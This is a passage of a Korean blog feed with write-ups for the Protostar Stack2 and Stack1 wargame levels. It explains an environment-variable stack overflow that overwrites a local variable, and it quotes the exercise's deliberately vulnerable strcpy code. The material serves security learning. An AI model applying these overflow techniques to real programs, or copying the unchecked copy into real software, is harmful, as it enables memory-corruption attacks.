srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9934064D5C320AD414&quot; width=&quot;774&quot; height=&quot;115&quot; filename=&quot;이미지 012.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;환경변수를 set 하는 방법은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;export [환경변수명] = &quot;설정 경로&quot;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우리가 목표로 하는것은 환경변수를 이용해 overflow를 통한 modified 변조이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;따라서 GREENIE 환경변수에 80 byte의 A로 패딩을 진행한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;echo $[환경변수명]&lt;/span&gt;을 이용해 환경변수의 내용을 확인가능하다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 768px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/9920F6475C320BF412&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F9920F6475C320BF412&quot; width=&quot;768&quot; height=&quot;82&quot; filename=&quot;이미지 013.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;하지만 실행을 해보면 stack 구조를 분석하지 않았기 때문에 아래와 같이 환경변수 유무는 통과 가능하지만 원하는 String은 얻을 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 700px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99299E495C320C8719&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99299E495C320C8719&quot; width=&quot;700&quot; height=&quot;55&quot; filename=&quot;이미지 014.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack 구조를 분석하기 위해 gdb를 통해 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 789px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994098425C320CC80B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994098425C320CC80B&quot; width=&quot;789&quot; height=&quot;746&quot; filename=&quot;이미지 015.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;variable과 buffer, modified가 stack의 어느 위치에 존재하고 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;dummy가 얼만큼 있는지 확인&lt;/span&gt;하면 된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack2 elf의 stack 구조는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 623px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C307355C32A1BF04&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C307355C32A1BF04&quot; width=&quot;623&quot; height=&quot;876&quot; filename=&quot;이미지 019.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;char *variable 변수는 맨 마지막에 선언된 지역 변수이므로 buffer[64] 위에 선언되어서 사용되어야 하지만 어찌된 일인지 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;QWORD PTR [rbp-0x8]을 통해 접근&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 718px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B186425C32A35505&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B186425C32A35505&quot; width=&quot;718&quot; height=&quot;885&quot; filename=&quot;이미지 020.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;다음과 같이 rax에 GREENIE의 환경변수의 주소가 들어있고 QWORD PTR&amp;nbsp;[rbp-0X8]로 옮기는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack 구조를 바탕으로 미루어 보아 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;GREENIE에 68 byte padding을 통해 modified의 변수에 접근하고 추가 4 byte를 통해 modified를 변경&lt;/span&gt;할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;little endian 방식&lt;/span&gt;을 사용함을 미루어 봐아 아래와 같이 성공할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 913px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99C549375C32A4E207&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99C549375C32A4E207&quot; width=&quot;913&quot; height=&quot;129&quot; filename=&quot;이미지 021.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;굳!&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/Protostar</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/238</guid>
      <comments>https://marcokhan.tistory.com/238#entry238comment</comments>
      <pubDate>Mon, 7 Jan 2019 10:01:40 +0900</pubDate>
    </item>
    <item>
      <title>[Protostar] Stack1 풀이, write-up</title>
      <link>https://marcokhan.tistory.com/237</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;Protostar --- Stack1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;Stack1&lt;/span&gt;의 힌트이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;If you are unfamiliar with the hexadecimal being displayed, &quot;man ascii&quot; is our friend.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Also Protostar is little endian.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;힌트를 해석하면 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만약 너가 앞으로 보여질 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;16진수&lt;/span&gt;에 친숙하지 않다면 &quot;man ascii&quot; 명령어가 도움이 될것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한, Protostar는 &lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;little endian&lt;/span&gt; 방식을 사용한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stack1.c의 소스코드는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;17&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;18&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;19&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;20&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;21&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;22&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;23&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;unistd.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;.h&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;argc,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;argv)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;volatile&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;modified;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;errx(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;please&amp;nbsp;specify&amp;nbsp;an&amp;nbsp;argument\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;strcpy(buffer,&amp;nbsp;argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;]);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(modified&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x61626364&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;you&amp;nbsp;have&amp;nbsp;correctly&amp;nbsp;got&amp;nbsp;the&amp;nbsp;variable&amp;nbsp;to&amp;nbsp;the&amp;nbsp;right&amp;nbsp;value\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Try&amp;nbsp;again,&amp;nbsp;you&amp;nbsp;got&amp;nbsp;0x%08x\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;modified);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span 